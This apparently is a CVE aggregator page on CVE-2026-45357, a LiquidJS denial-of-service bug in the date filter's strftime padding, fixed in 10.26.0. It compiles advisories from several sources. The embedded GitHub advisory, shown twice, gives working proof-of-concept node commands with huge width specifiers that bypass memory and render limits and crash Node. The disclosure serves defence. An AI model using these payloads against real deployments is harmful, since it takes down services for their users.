CVE-2026-45357
LiquidJS: Memory and render limit bypass via unbounded width padding in `date` filter (strftime)
LiquidJS is a Shopify/GitHub Pages compatible template engine written in pure JavaScript. In versions 10.25.7 and below, the date filter's strftime implementation parses width specifiers like %9999999d and forwards the captured width unchecked into pad()/padStart(), leading to memory and render limit bypass. In src/util/underscore.ts, the pad loop performs unbounded string concatenation without consulting the Context's memoryLimit or renderLimit, so a single small template ({{ x | date: '%5000000d' }}) produces megabytes of output and unbounded CPU. The memoryLimit and renderLimit options the docs (src/liquid-options.ts:87-92) advertise as DoS controls — and which the docstring explicitly mentions for strftime — are entirely bypassed. Exploitation can cause large memory allocations, high CPU usage, or OOM crashes per render. This issue has been fixed in version 10.26.0.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- None
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
7.5
LiquidJS: Memory and render limit bypass via unbounded width padding in `date` filter (strftime)
LiquidJS is a Shopify/GitHub Pages compatible template engine written in pure JavaScript. In versions 10.25.7 and below, the date filter's strftime implementation parses width specifiers like %9999999d and forwards the captured width unchecked into pad()/padStart(), leading to memory and render limit bypass. In src/util/underscore.ts, the pad loop performs unbounded string concatenation without consulting the Context's memoryLimit or renderLimit, so a single small template ({{ x | date: '%5000000d' }}) produces megabytes of output and unbounded CPU. The memoryLimit and renderLimit options the docs (src/liquid-options.ts:87-92) advertise as DoS controls — and which the docstring explicitly mentions for strftime — are entirely bypassed. Exploitation can cause large memory allocations, high CPU usage, or OOM crashes per render. This issue has been fixed in version 10.26.0.
- Record
CVE-2026-45357- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-400
- Updated
- 2026-11-02
EUVDEUVD-2026-37827
7.5
LiquidJS is a Shopify/GitHub Pages compatible template engine written in pure JavaScript. In versions 10.25.7 and below, the date filter's strftime implementation parses width specifiers like %9999999d and forwards the captured width unchecked into pad()/padStart(), leading to memory and render limit bypass. In src/util/underscore.ts, the pad loop performs unbounded string concatenation without consulting the Context's memoryLimit or renderLimit, so a single small template ({{ x | date: '%5000000d' }}) produces megabytes of output and unbounded CPU. The memoryLimit and renderLimit options the docs (src/liquid-options.ts:87-92) advertise as DoS controls — and which the docstring explicitly mentions for strftime — are entirely bypassed. Exploitation can cause large memory allocations, high CPU usage, or OOM crashes per render. This issue has been fixed in version 10.26.0.
- Record
EUVD-2026-37827- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-hh27-hf48-9f5q
7.5
LiquidJS has a memory and render limit bypass via unbounded width padding in `date` filter (strftime)
Summary
The date filter's strftime implementation parses width specifiers like %9999999d and forwards the captured width unchecked into pad()/padStart() in src/util/underscore.ts. The pad loop performs unbounded string concatenation without consulting the Context's memoryLimit or renderLimit, so a single small template ({{ x | date: '%5000000d' }}) produces megabytes of output and unbounded CPU. The memoryLimit and renderLimit options the docs (src/liquid-options.ts:87-92) advertise as DoS controls — and which the docstring explicitly mentions for strftime — are entirely bypassed.
Details
date.ts:5-13 only charges memoryLimit for the lengths of the input value, format string, and timezone:
export function date (this: FilterImpl, v: string | Date, format?: string, timezoneOffset?: number | string) {
const size = ((v as string)?.length ?? 0) + (format?.length ?? 0) + ((timezoneOffset as string)?.length ?? 0)
this.context.memoryLimit.use(size)
...
return strftime(date, format)
}
strftime (src/util/strftime.ts:121) then walks the format with rFormat = /%([-_0^#:]+)?(\d+)?([EO])?(.)/. The captured width group is passed directly to padStart:
function format (d, match) {
const [input, flagStr = '', width, modifier, conversion] = match
...
let padWidth = width || padWidths[conversion] || 0
...
return padStart(ret, padWidth, padChar) // strftime.ts:147
}
padStart calls pad() in src/util/underscore.ts:153:
export function pad (str, length, ch, add) {
str = String(str)
let n = length - str.length
while (n-- > 0) str = add(str, ch) // unbounded loop
return str
}
The loop has no upper bound and never consults this.context.memoryLimit or renderLimit. The pad is also implemented as repeated ch + str string concatenation, which makes the per-byte cost grow with output length and amplifies CPU consumption.
Filter arguments accept context-evaluated values (src/template/filter.ts:30-31, evalToken(arg, context)), so any deployment that passes a context value as the date format — a documented and tested usage pattern — exposes the sink to attacker-controlled input.
This is a separate sink from the previously-reported quadratic replace finding: a different filter (date), a different parser (the strftime width regex), and a different concatenation site (pad() in underscore.ts).
PoC
Setup: npm install [email protected].
Step 1 — bypass memoryLimit and renderLimit (5 MB output, ~200 ms, both limits set to 50):
node -e "
const { Liquid } = require('liquidjs');
const liquid = new Liquid({ memoryLimit: 50, renderLimit: 50 });
const t0 = Date.now();
const out = liquid.parseAndRenderSync('{{ d | date: f }}', { d: 'now', f: '%5000000d' });
console.log('len=', out.length, 'ms=', Date.now()-t0);
"
Verified output: len= 5000000 ms= 198. The memoryLimit:50 (50-byte budget) and renderLimit:50 (50 ms budget) are both ignored.
Step 2 — OOM-kill the Node process under a 200 MB heap cap:
node --max-old-space-size=200 -e "
const { Liquid } = require('liquidjs');
const liquid = new Liquid({ memoryLimit: 50, renderLimit: 50 });
liquid.parseAndRenderSync('{{ d | date: f }}', { d: 'now', f: '%99999999d' });
"
Verified output: FATAL ERROR: Ineffective mark-compacts near heap limit Allocation failed - JavaScript heap out of memory. Process is killed.
The realistic attack template is {{ post.created_at | date: user_supplied_format }}, where user_supplied_format is any context value an attacker can influence (profile field, query param mapped into template context, etc.).
Impact
- DoS against any LiquidJS-rendered surface where a context value reaches the
datefilter's format argument: a single render call can be turned into multi-MB allocations and seconds of CPU per request, or into an OOM that crashes the host process. - Bypass of the engine's two documented DoS…
- Record
GHSA-hh27-hf48-9f5q- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-400
- Updated
- 2026-11-02
NVD
7.5
LiquidJS is a Shopify/GitHub Pages compatible template engine written in pure JavaScript. In versions 10.25.7 and below, the date filter's strftime implementation parses width specifiers like %9999999d and forwards the captured width unchecked into pad()/padStart(), leading to memory and render limit bypass. In src/util/underscore.ts, the pad loop performs unbounded string concatenation without consulting the Context's memoryLimit or renderLimit, so a single small template ({{ x | date: '%5000000d' }}) produces megabytes of output and unbounded CPU. The memoryLimit and renderLimit options the docs (src/liquid-options.ts:87-92) advertise as DoS controls — and which the docstring explicitly mentions for strftime — are entirely bypassed. Exploitation can cause large memory allocations, high CPU usage, or OOM crashes per render. This issue has been fixed in version 10.26.0.
- Record
CVE-2026-45357- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-400
- Updated
- 2026-11-02
OSV
7.5
LiquidJS: Memory and render limit bypass via unbounded width padding in `date` filter (strftime)
LiquidJS is a Shopify/GitHub Pages compatible template engine written in pure JavaScript. In versions 10.25.7 and below, the date filter's strftime implementation parses width specifiers like %9999999d and forwards the captured width unchecked into pad()/padStart(), leading to memory and render limit bypass. In src/util/underscore.ts, the pad loop performs unbounded string concatenation without consulting the Context's memoryLimit or renderLimit, so a single small template ({{ x | date: '%5000000d' }}) produces megabytes of output and unbounded CPU. The memoryLimit and renderLimit options the docs (src/liquid-options.ts:87-92) advertise as DoS controls — and which the docstring explicitly mentions for strftime — are entirely bypassed. Exploitation can cause large memory allocations, high CPU usage, or OOM crashes per render. This issue has been fixed in version 10.26.0.
- Record
CVE-2026-45357- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-400
- Updated
- 2026-11-02
OSVGHSA-hh27-hf48-9f5q
7.5
LiquidJS has a memory and render limit bypass via unbounded width padding in `date` filter (strftime)
Summary
The date filter's strftime implementation parses width specifiers like %9999999d and forwards the captured width unchecked into pad()/padStart() in src/util/underscore.ts. The pad loop performs unbounded string concatenation without consulting the Context's memoryLimit or renderLimit, so a single small template ({{ x | date: '%5000000d' }}) produces megabytes of output and unbounded CPU. The memoryLimit and renderLimit options the docs (src/liquid-options.ts:87-92) advertise as DoS controls — and which the docstring explicitly mentions for strftime — are entirely bypassed.
Details
date.ts:5-13 only charges memoryLimit for the lengths of the input value, format string, and timezone:
export function date (this: FilterImpl, v: string | Date, format?: string, timezoneOffset?: number | string) {
const size = ((v as string)?.length ?? 0) + (format?.length ?? 0) + ((timezoneOffset as string)?.length ?? 0)
this.context.memoryLimit.use(size)
...
return strftime(date, format)
}
strftime (src/util/strftime.ts:121) then walks the format with rFormat = /%([-_0^#:]+)?(\d+)?([EO])?(.)/. The captured width group is passed directly to padStart:
function format (d, match) {
const [input, flagStr = '', width, modifier, conversion] = match
...
let padWidth = width || padWidths[conversion] || 0
...
return padStart(ret, padWidth, padChar) // strftime.ts:147
}
padStart calls pad() in src/util/underscore.ts:153:
export function pad (str, length, ch, add) {
str = String(str)
let n = length - str.length
while (n-- > 0) str = add(str, ch) // unbounded loop
return str
}
The loop has no upper bound and never consults this.context.memoryLimit or renderLimit. The pad is also implemented as repeated ch + str string concatenation, which makes the per-byte cost grow with output length and amplifies CPU consumption.
Filter arguments accept context-evaluated values (src/template/filter.ts:30-31, evalToken(arg, context)), so any deployment that passes a context value as the date format — a documented and tested usage pattern — exposes the sink to attacker-controlled input.
This is a separate sink from the previously-reported quadratic replace finding: a different filter (date), a different parser (the strftime width regex), and a different concatenation site (pad() in underscore.ts).
PoC
Setup: npm install [email protected].
Step 1 — bypass memoryLimit and renderLimit (5 MB output, ~200 ms, both limits set to 50):
node -e "
const { Liquid } = require('liquidjs');
const liquid = new Liquid({ memoryLimit: 50, renderLimit: 50 });
const t0 = Date.now();
const out = liquid.parseAndRenderSync('{{ d | date: f }}', { d: 'now', f: '%5000000d' });
console.log('len=', out.length, 'ms=', Date.now()-t0);
"
Verified output: len= 5000000 ms= 198. The memoryLimit:50 (50-byte budget) and renderLimit:50 (50 ms budget) are both ignored.
Step 2 — OOM-kill the Node process under a 200 MB heap cap:
node --max-old-space-size=200 -e "
const { Liquid } = require('liquidjs');
const liquid = new Liquid({ memoryLimit: 50, renderLimit: 50 });
liquid.parseAndRenderSync('{{ d | date: f }}', { d: 'now', f: '%99999999d' });
"
Verified output: FATAL ERROR: Ineffective mark-compacts near heap limit Allocation failed - JavaScript heap out of memory. Process is killed.
The realistic attack template is {{ post.created_at | date: user_supplied_format }}, where user_supplied_format is any context value an attacker can influence (profile field, query param mapped into template context, etc.).
Impact
- DoS against any LiquidJS-rendered surface where a context value reaches the
datefilter's format argument: a single render call can be turned into multi-MB allocations and seconds of CPU per request, or into an OOM that crashes the host process. - Bypass of the engine's two documented DoS…
- Record
GHSA-hh27-hf48-9f5q- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-400
- Updated
- 2026-11-02
Affected products
Affected packages
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-45357 is a high vulnerability (CVSS 7.5) in Harttle Liquidjs, published May 27, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.39%, the 32nd percentile. Fixed in liquidjs 10.26.0.
References
github.com/harttle/liquidjs/security/advisories/GHSA-hh27-hf48-9f5q
github.com/harttle/liquidjs/commit/3129d46dc95efa357b00e5a57ee1af80a13d72ed
github.com/harttle/liquidjs/releases/tag/v10.26.0
nvd.nist.gov/vuln/detail/CVE-2026-45357
github.com/harttle/liquidjs/blob/v10.26.0/CHANGELOG.md
github.com/advisories/GHSA-hh27-hf48-9f5q
github.com/CVEProject/cvelistV5/tree/main/cves/2026/45xxx/CVE-2026-45357.json
github.com/harttle/liquidjs
Left out here: the rest of 2 source descriptions. The JSON record has them.